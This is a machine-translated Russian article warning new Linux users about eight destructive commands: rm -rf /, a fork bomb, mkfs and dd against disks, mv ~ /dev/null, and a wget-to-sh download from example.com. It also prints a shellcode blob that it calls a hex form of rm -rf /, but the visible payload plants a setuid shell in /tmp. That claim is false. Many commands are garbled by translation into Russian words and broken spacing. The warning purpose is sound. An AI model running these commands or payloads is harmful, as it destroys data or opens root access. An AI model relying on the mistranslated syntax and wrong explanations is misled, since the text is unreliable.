8 смертельных команд, которые вы никогда не должны запускать в Linux
Терминальные команды Linux являются мощными, и Linux не будет запрашивать у вас подтверждения, если вы запустите команду, которая сломает вашу систему. Весьма часто можно увидеть, как тролли онлайн рекомендуют новым пользователям Linux запускать эти команды в шутку..
Изучение команд, которые вы не должны выполнять, может помочь вам защитить вас от троллей, в то же время улучшая ваше понимание того, как работает Linux. Это не исчерпывающее руководство, и команды здесь могут быть ремикшированы различными способами.
Обратите внимание, что многие из этих команд будут опасны, только если они имеют префикс Судо на Ubuntu - иначе они не будут работать. В других дистрибутивах Linux большинство команд должны выполняться от имени пользователя root.
Изображение предоставлено: Череп и Скрещенные кости ремикшированы от Джейсона Форда в Твиттере
rm -rf / - удаляет все!
Команда rm -rf / удаляет все, что возможно, в том числе файлы на жестком диске и файлы на подключенных устройствах съемных носителей. Эта команда более понятна, если она разбита:
комната - Удалите следующие файлы.
-ВЧ - Запустите rm рекурсивно (удалите все файлы и папки внутри указанной папки) и принудительно удалите все файлы без запроса.
/ - Сообщает rm запускаться из корневого каталога, который содержит все файлы на вашем компьютере и все подключенные мультимедийные устройства, включая удаленные общие папки и съемные диски..
Linux с радостью выполнит эту команду и удалит все без запроса, поэтому будьте осторожны при ее использовании! Команда rm также может использоваться другими опасными способами - rm -rf ~ удалит все файлы в вашей домашней папке, в то время как рм -рф. * удалил бы все ваши файлы конфигурации.
Урок: Остерегайтесь рм-рф.
Замаскированный rm -rf /
Вот еще один фрагмент кода, который есть в Интернете:
char esp [] __attribute__ ((section («. text»))) / * e.s.p
релиз */
= «\ Xeb \ x3e \ x5b \ x31 \ xc0 \ x50 \ x54 \ x5a \ x83 \ xec \ x64 \ x68»
«\ XFF \ XFF \ XFF \ XFF \ x68 \ XDF \ xd0 \ XDF \ xd9 \ x68 \ x8d \ x99»
«\ XDF \ x81 \ x68 \ x8d \ x92 \ XDF \ XD2 \ x54 \ x5e \ xf7 \ x16 \ xf7»
«\ X56 \ x04 \ xf7 \ x56 \ x08 \ xf7 \ x56 \ x0c \ x83 \ XC4 \ x74 \ x56»
«\ X8d \ x73 \ x08 \ x56 \ x53 \ x54 \ x59 \ XB0 \ x0b \ XCD \ x80 \ x31»
«\ Xc0 \ x40 \ xeb \ xf9 \ X Е8 \ XBD \ XFF \ XFF \ XFF \ x2f \ x62 \ x69»
«\ X6e \ x2f \ x73 \ x68 \ x00 \ x2d \ x63 \ x00»
«Cp -p / bin / sh /tmp/.beyond; chmod 4755
/tmp/.beyond;»;
Это шестнадцатеричная версия rm -rf / - выполнение этой команды уничтожит ваши файлы так же, как если бы вы запустили rm -rf /.
Урок: Не запускайте странные, замаскированные команды, которые вы не понимаете.
: () : |: & ;: - Вилочная бомба
Следующая строка представляет собой простую, но опасную функцию bash:
: () : |: & ;:
Эта короткая строка определяет функцию оболочки, которая создает новые копии себя. Процесс постоянно копирует себя, а его копии постоянно копируют себя, быстро занимая все ваше процессорное время и память. Это может привести к зависанию вашего компьютера. Это в основном отказ в обслуживании.
Урок: Функции Bash мощные, даже очень короткие.
Изображение предоставлено: Dake on Wikimedia Commons
mkfs.ext4 / dev / sda1 - форматирует жесткий диск
mkfs.ext4 / dev / sda1 Команда проста для понимания:
mkfs.ext4 - Создайте новую файловую систему ext4 на следующем устройстве.
/ DEV / sda1 - Указывает первый раздел на первом жестком диске, который, вероятно, используется.
Взятая вместе, эта команда может быть эквивалентна запуску формата c: в Windows - она сотрет файлы на вашем первом разделе и заменит их новой файловой системой..
Эта команда может прийти и в других формах - mkfs.ext3 / dev / sdb2 отформатировал бы второй раздел на втором жестком диске с файловой системой ext3.
Урок: Остерегайтесь выполнения команд непосредственно на устройствах с жестким диском, которые начинаются с / dev / sd.
команда> / dev / sda - пишет прямо на жесткий диск
команда> / dev / sda Линия работает аналогично - она запускает команду и отправляет вывод этой команды непосредственно на ваш первый жесткий диск, записывая данные непосредственно на жесткий диск и повреждая вашу файловую систему.
команда - Запустить команду (может быть любой командой.)
> - Отправьте вывод команды в следующую папку.
/ DEV / SDA - Записать вывод команды непосредственно на устройство с жестким диском.
Урок: Как и выше, остерегайтесь выполнения команд, связанных с устройствами на жестком диске, начиная с / dev / sd.
dd if = / dev / random of = / dev / sda - записывает мусор на жесткий диск
дд если = / dev / random of = / dev / sda Линия также уничтожит данные на одном из ваших жестких дисков.
дд - Выполните низкоуровневое копирование из одного места в другое.
если = / DEV / случайное - Используйте / dev / random (случайные данные) в качестве входных данных - вы также можете увидеть такие места, как / dev / zero (нули).
из = / DEV / SDA - Вывод на первый жесткий диск, заменяя его файловую систему случайными мусорными данными.
Урок: dd копирует данные из одного места в другое, что может быть опасно, если вы копируете напрямую на устройство.
Изображение предоставлено: Matt Rudge на Flickr
mv ~ / dev / null - перемещает ваш домашний каталог в черную дыру
/ dev / null - это еще одно специальное место - перемещение чего-либо в / dev / null - это то же самое, что уничтожение. Думайте о / dev / null как о черной дыре. по существу, mv ~ / dev / null отправляет все ваши личные файлы в черную дыру.
милливольт - Переместите следующий файл или каталог в другое место.
~ - Представляет всю вашу домашнюю папку.
/ DEV / нуль - Переместите вашу домашнюю папку в / dev / null, уничтожив все ваши файлы и удалив исходные копии.
Урок: Символ ~ представляет вашу домашнюю папку, а перемещение объектов в / dev / null уничтожает их.
wget http://example.com/something -O - | sh - загружает и запускает скрипт
Вышеуказанная строка загружает скрипт из Интернета и отправляет его в sh, который выполняет содержимое скрипта. Это может быть опасно, если вы не уверены, что это за скрипт или не доверяете его источнику - не запускайте ненадежные скрипты.
Wget - Скачивает файл. (Вы также можете увидеть скручивание вместо wget.)
http://example.com/something - Загрузите файл с этого места.
| - Передайте (отправьте) вывод команды wget (файл, который вы скачали) непосредственно другой команде.
ш - Отправьте файл команде sh, которая выполняет его, если это скрипт bash.
Урок: Не загружайте и не запускайте ненадежные сценарии из Интернета, даже с помощью команды.
Знаете какие-нибудь другие опасные команды, которые не должны запускать новые (и опытные) пользователи Linux? Оставьте комментарий и поделитесь им!